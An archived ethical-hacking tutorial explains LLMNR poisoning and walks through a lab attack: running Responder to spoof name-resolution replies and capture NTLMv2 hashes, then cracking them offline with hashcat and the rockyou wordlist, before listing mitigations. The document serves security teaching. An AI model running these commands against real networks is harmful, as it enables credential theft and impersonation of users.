The Wayback Machine - https://web.archive.org/web/20260215144944/https://www.geeksforgeeks.org/ethical-hacking/llmnr-poisoning/

LLMNR Poisoning

Last Updated : 1 Sep, 2025

LLMNR (Link-Local Multicast Name Resolution) is a fallback protocol in Windows used when DNS fails. It lets machines on the same subnet resolve host names by broadcasting queries.

Example: If a client cannot resolve fileserver01 via DNS, it sends an LLMNR query to the local network asking “Who is fileserver01?”.

What is the Key Flaw?

LLMNR trusts any machine that replies to the broadcast. If an attacker replies pretending to be the requested host, the victim automatically tries to authenticate. This sends the " username + NTLMv2 password hash " to the attacker, without the victim realising.

What is LLMNR Poisoning?

LLMNR Poisoning is the attack where an adversary listens for LLMNR broadcasts, then spoofs a response as the requested host.

The victim connects, sending its NTLMv2 hash, which the attacker can:

  • Crack offline to recover the plaintext password, or
  • Use in pass-the-hash attacks to impersonate the victim.

Hands-On in our Active Directory

This will start the cracking process and, if the password is weak or present in the wordlist, hashcat will successfully recover it.

Prerequisites

You need to install impackets tool-kit in your Kali machine for this Lab. To do so you may follow the below mentioned steps:

sudo apt update
sudo apt install impacket-scripts -y

Now Lets move forward towards the manual exploiting of active directory misconfigurations and flaws.

  • Step 1 : Open responder on Kali and run this command:
 sudo responder -I eth0 -wdv
responder1
  • Step 2 : Open PC1 and in the file explorer enter the attacker machine IP :
\\10.0.2.7
responder2
  • After this you will notice hashdump in the responder's listener in you Kali Machine.
responder4
  • Let’s try to crack the hash using hashcat. Cracking a hash is generally impossible unless you have a list of cracked or common passwords. In this scenario, we are using a weak password, which makes it much easier to crack with the hashcat tool.
  • Copy the hash and save it in a text file.
responder5
  • Enter this hashcat command:
hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt -O
  • here -m 5600 is the type of hash module to be used, you can take reference from the hashcat -help using :
 hashcat --help | grep ntlm

If you are not able to open the rockyou.txt file, you may need to extract it, since by default it is kept in compressed form. Navigate to the file location at /usr/share/wordlists and extract the rockyou.txt file there. Additionally, you can download more wordlists from open-source forums or GitHub repositories.

Since we are using a virtual machine with very low allocated RAM, hashcat may not execute properly. Therefore, we will use our system terminal to perform the hashcat cracking.

If you are using Windows Terminal, download hashcat from the official site. In my test case, I am using Ubuntu as my primary OS. Therefore, the installation steps may vary, but the commands remain the same. Save the hash file in your host OS and install hashcat.

  • For Windows users: go to the folder where hashcat is installed, then type:
hashcat64.exe -m 5600 ntlmhash.txt  /location/to/rockyou.txt --force
  • For Linux users: the command is:
hashcat -m 5600 ntlmhash.txt /location/to/rockyou.txt --force
responder6


LLMNR Mitigations

LLMNR (Link-Local Multicast Name Resolution) can be abused by attackers to capture credentials through spoofed responses. To reduce this risk, organizations should:

  • Disable LLMNR and NBT-NS: Turn off these protocols at the system or group policy level to eliminate the attack surface.
  • Enforce strong authentication: Use long, complex passwords and avoid common terms to make captured hashes harder to crack.
  • Apply network access controls: Limit who and what can connect to the internal network, reducing exposure to rogue devices.

By disabling unnecessary name resolution protocols and strengthening password policies, companies can greatly reduce the effectiveness of LLMNR poisoning attacks.



Comment

Explore